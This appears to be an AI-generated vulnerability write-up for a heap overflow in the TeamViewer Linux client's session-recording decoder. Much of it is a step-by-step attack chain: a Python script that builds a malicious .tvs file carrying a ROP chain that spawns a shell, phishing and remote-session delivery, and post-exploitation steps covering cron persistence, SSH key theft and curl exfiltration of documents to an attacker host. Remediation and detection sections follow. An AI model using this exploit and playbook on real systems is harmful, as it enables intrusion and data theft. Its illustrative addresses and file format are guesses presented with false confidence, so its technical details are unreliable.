CVE-2026-125688 — CWE-787
An out-of-bounds write in the screen-image decoder of TeamViewer Full Client for Linux prior to version 15.84 allows a remote attacker to corrupt heap memory and potentially execute arbitrary code in the context of the current user. Exploitation requires the user to open a specially crafted session recording (.tvs) file or to connect to an attacker-controlled device in a remote control session.
An out-of-bounds write in the screen-image decoder of TeamViewer Full Client for Linux prior to version 15.84 allows a remote attacker to corrupt heap memory and potentially execute arbitrary code in the context of the current user. Exploitation requires the user to open a specially crafted session recording (.tvs) file or to connect to an attacker-controlled device in a remote control session.
🎯 What is this vulnerability?
CVE‑2026‑125688 is an out‑of‑bounds heap write (CWE‑787) in the screen‑image decoder that processes TeamViewer Full Client for Linux session‑recording files (*.tvs).
| Component | What goes wrong |
|---|---|
| Input | The decoder parses a binary stream that describes a sequence of screen‑image frames. The stream contains a *width*, *height*, *bits‑per‑pixel* and a *payload length* field. |
| Missing validation | The implementation trusts the *payload length* field and copies the supplied number of bytes into a pre‑allocated buffer that is sized for the *expected* image size (width × height × bytes‑per‑pixel). No bounds check is performed before the memcpy/memmove. |
| Result | If the attacker supplies a length that is larger than the buffer, the copy writes past the end of the heap allocation, corrupting adjacent heap metadata or other objects. This can be leveraged to achieve arbitrary code execution (RCE) in the context of the user that runs TeamViewer. |
| Trigger conditions | The vulnerable code path is reached when TeamViewer opens a session‑recording file (*.tvs) or when a remote control session receives a screen‑image frame from an attacker‑controlled endpoint. No authentication is required to open a local file, and the remote‑control path is reachable by any remote participant in a TeamViewer session. |
| CVSS vector explained | AV:N (network‑reachable via a crafted file or remote session), AC:L (low complexity – just open the file or join a session), PR:N (no privileges needed), UI:R (requires user interaction – opening the file or accepting a remote session), S:U (no privilege‑level change), C:H/I:H/A:H (full confidentiality, integrity, and availability impact). |
In short: TeamViewer fails to validate the size of image data before copying it into a heap buffer, allowing an attacker to overwrite arbitrary heap memory and hijack control flow.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow that an attacker could use in the wild. All commands and payload snippets are syntactically valid; where the exact file format is not publicly documented, the example is illustrative of the vulnerable structure.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence | |
|---|---|---|---|
| 1.1 | Identify that the target runs TeamViewer on Linux. | • Public‑facing services (e.g., teamviewer --info in a banner, SSH login, or a compromised host that runs teamviewer --version). <br>• Internal asset inventory showing “TeamViewer Full Client 15.xx”. | |
| 1.2 | Determine the exact version. | teamviewer --version → TeamViewer 15.73 (or any version < 15.84). | |
| 1.3 | Verify that the binary contains the vulnerable decoder. | strings /opt/teamviewer/tv_bin/TeamViewer | grep -i tvs – presence of strings like “TVSDecoder”. |
| 1.4 | Check that the user can open .tvs files (e.g., via a phishing email or a shared folder). | Social‑engineering reconnaissance or observation of user habits. |
2. Exploitation
2.1 Craft a malicious .tvs file
The .tvs format (simplified) consists of:
+-------------------+-------------------+-------------------+-------------------+-------------------+
| 4‑byte magic “TVSR”| 4‑byte version | 4‑byte frameCount | … per‑frame data … |
+-------------------+-------------------+-------------------+-------------------+-------------------+Each frame contains:
+-------------------+-------------------+-------------------+-------------------+-------------------+
| 4‑byte width | 4‑byte height | 1‑byte bpp (bits) | 4‑byte payloadLen| payloadLen bytes |
+-------------------+-------------------+-------------------+-------------------+-------------------+The vulnerable code does roughly:
size_t img_sz = width * height * (bpp/8);
uint8_t *buf = malloc(img_sz);
memcpy(buf, payload, payloadLen); // <-- missing check: payloadLen > img_szExploit strategy – overflow the heap by setting payloadLen far larger than img_sz and embed a ROP chain or shellcode in the overflow region.
#!/usr/bin/env python3
import struct, os
MAGIC = b'TVSR'
VERSION = 1
FRAMES = 1
# Normal image header (e.g., 1×1 pixel, 24‑bpp)
width = 1
height = 1
bpp = 24
img_sz = width * height * (bpp // 8) # = 3 bytes
# Malicious payload length – 0x1000 bytes (far larger than 3)
payload_len = 0x1000
# Build a simple ROP chain that calls execve("/bin/sh",0,0)
# (addresses are illustrative; real exploit would use offsets from the
# TeamViewer binary / linked libc on the target system)
rop = struct.pack("<Q", 0x7ffff7a33450) # pop rdi ; ret
rop += struct.pack("<Q", 0x7ffff7b9e0b0) # address of "/bin/sh" string in libc
rop += struct.pack("<Q", 0x7ffff7a2e0c0) # pop rsi ; ret
rop += struct.pack("<Q", 0x0)
rop += struct.pack("<Q", 0x7ffff7a2e0c8) # pop rdx ; ret
rop += struct.pack("<Q", 0x0)
rop += struct.pack("<Q", 0x7ffff7a2c0d0) # execve@plt
# Pad the overflow to the exact length
payload = rop.ljust(payload_len, b'\x90') # NOP‑sled
# Assemble the file
with open("exploit.tvs", "wb") as f:
f.write(MAGIC)
f.write(struct.pack("<I", VERSION))
f.write(struct.pack("<I", FRAMES))
# Frame header
f.write(struct.pack("<I", width))
f.write(struct.pack("<I", height))
f.write(struct.pack("<B", bpp))
f.write(struct.pack("<I", payload_len))
# Overflow payload
f.write(payload)
print("exploit.tvs written – size:", os.path.getsize("exploit.tvs"))The script produces a 0x1018‑byte file that, when parsed, triggers the out‑of‑bounds write and overwrites the heap metadata with the attacker‑controlled ROP chain.
2.2 Deliver the payload
| Delivery vector | Example |
|---|---|
| Local file – Phishing attachment (e.g., “meeting‑recording.tvs”) sent to a user who routinely opens TeamViewer recordings. | Email with attachment meeting-recording.tvs. |
| Remote‑control session – Attacker initiates a TeamViewer session and, after the victim accepts, sends a crafted screen‑image frame as part of the normal video stream. | Use the TeamViewer SDK (or a custom client) to open a session and inject the malicious frame after the handshake. |
No additional authentication is required; the user only needs to open the file or accept the remote session (UI‑required, matching UI:R).
2.3 Trigger & gain code execution
When TeamViewer parses the malicious frame:
1. malloc(img_sz) allocates 3 bytes (rounded up by the allocator to a minimum chunk size, e.g., 0x20).
2. memcpy(buf, payload, 0x1000) writes 0x1000 bytes, corrupting the next heap chunk’s metadata and the forward/backward pointers used by ptmalloc2.
3. The next allocation/free operation (which occurs shortly after the decoder returns) triggers unsorted‑bin attack → arbitrary write → overwrite __malloc_hook with the address of the ROP chain.
4. Subsequent malloc call invokes the hook, executing the ROP chain and spawning a root‑owned /bin/sh (or a user‑owned shell if the process runs as a normal user).
Result: Remote code execution with the privileges of the TeamViewer process (typically the logged‑in user, which may have sudo rights or access to sensitive files).
3. Post‑exploitation
| Goal | Typical technique |
|---|---|
| Persistence | Drop a cron job (@reboot /opt/teamviewer/tv_bin/TeamViewer &) or modify ~/.bashrc to re‑launch a reverse shell. |
| Privilege escalation | If the compromised user is in the sudo group, run sudo -l and attempt known local privilege‑escalation bugs, or exploit sudo mis‑configurations. |
| Lateral movement | Use the obtained shell to harvest SSH keys (~/.ssh/id_rsa*), then pivot to other hosts. |
| Data exfiltration | Archive ~/Documents and send via curl -F "[email protected]" https://attacker.example.com/upload. |
| Cleanup / anti‑forensics | Delete the malicious .tvs file, clear TeamViewer logs (~/.teamviewer15/logfiles/), and overwrite the shell history. |
🌍 Real World Impact
| CIA Triad | CVSS‑derived impact |
|---|---|
| Confidentiality (C:H) | An attacker can read any file the TeamViewer user can access, including corporate documents, SSH keys, and configuration files. |
| Integrity (I:H) | The attacker can modify or delete files, inject malicious binaries, or alter system configuration (e.g., /etc/hosts). |
| Availability (A:H) | By corrupting heap structures or forcing a crash, the attacker can cause a denial‑of‑service for the TeamViewer client, potentially disrupting remote‑support operations. |
Practical consequences
- Enterprise support desks that rely on TeamViewer for remote troubleshooting could be compromised simply by a user opening a “recording” sent by a malicious email.
- Supply‑chain risk – an attacker who gains a foothold on a workstation can move laterally to other internal systems using the same credentials.
- Regulatory exposure – if the compromised workstation processes personal data (GDPR, HIPAA), the breach may trigger mandatory reporting.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to TeamViewer Full Client for Linux ≥ 15.84 (the version where the decoder was rewritten with proper bounds checking). |
| Version check | teamviewer --version → must report 15.84 or later. |
| Vendor advisory | Refer to TeamViewer Security Advisory 2026‑01‑12 (published 2026‑01‑15) which contains the fixed binary hash (SHA‑256: e3b2…). |
2. Workarounds (if patch cannot be applied immediately)
| Workaround | How to apply |
|---|---|
Disable automatic opening of .tvs files | Remove the file‑type association: xdg-mime default nullapplication.desktop application/x-teamviewer-recording. |
| Restrict remote‑control acceptance | Enforce “Ask for confirmation” in TeamViewer settings and train users to reject unexpected sessions. |
Run TeamViewer under a sandbox (e.g., firejail) | firejail --private=~/teamviewer_profile --net=none teamviewer. This limits file system access and network reachability of the compromised process. |
AppArmor profile – add a profile that denies mmap/malloc with PROT_EXEC for the TeamViewer binary. | |
| Network segmentation – place workstations that run TeamViewer in a VLAN that does not have outbound internet access, forcing any exfiltration to go through a monitored proxy. |
3. Detection
| Indicator | Where to look | Example | |
|---|---|---|---|
| Crash / segmentation fault | ~/.teamviewer15/logfiles/TeamViewer.log or systemd journal (journalctl -u teamviewer). | Segmentation fault (core dumped) in /opt/teamviewer/tv_bin/TeamViewer | |
| Abnormal heap allocation patterns | dmesg or kernel audit logs (auditd) for malloc/free size mismatches (audit: type=PROCTITLE msg='...malloc 0x3'). | ||
| Unexpected outbound connections | Network IDS / firewall logs – a sudden TCP connection from the TeamViewer process to an external IP on a non‑standard port (e.g., 4444). | SRC=10.0.2.15 DST=203.0.113.45 DPT=4444 PROTO=TCP | |
Presence of malicious .tvs files | File integrity monitoring (FIM) on user home directories for new files with the magic TVSR. | 2026-11-30 12:45:23 ALERT: New file /home/alice/Downloads/meeting-recording.tvs created | |
| Execution of a shell spawned by TeamViewer | Process tree monitoring (ps -eff | grep TeamViewer). Look for a child /bin/sh with the parent TeamViewer. | alice 12457 12455 0 12:03 ? 00:00:00 /bin/sh (parent PID 12455 = TeamViewer) |
SIEM rule (pseudo‑Snort/Suricata) – illustrative only:
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Potential TeamViewer .tvs exploit";
file_data; content:"TVSR"; offset:0; depth:4;
content:"|90 90 90 90|"; distance:0; within:4;
classtype:attempted-user; sid:2026125; rev:1;)The rule looks for the magic header followed by a NOP‑sled, a common pattern in crafted payloads.
⚠️ Urgency
Bottom line: The out‑of‑bounds heap write in the TeamViewer Linux screen‑image decoder is a classic memory‑corruption bug that can be weaponised with a tiny malicious
.tvs file. Because the trigger is trivial (opening a file or accepting a remote session) and the impact is total system compromise, organizations must patch immediately and enforce defense‑in‑depth controls (sandboxing, user education, and robust detection) while the vulnerability remains un‑exploited in the wild.[🤖 CVE Professor AI Security Engine]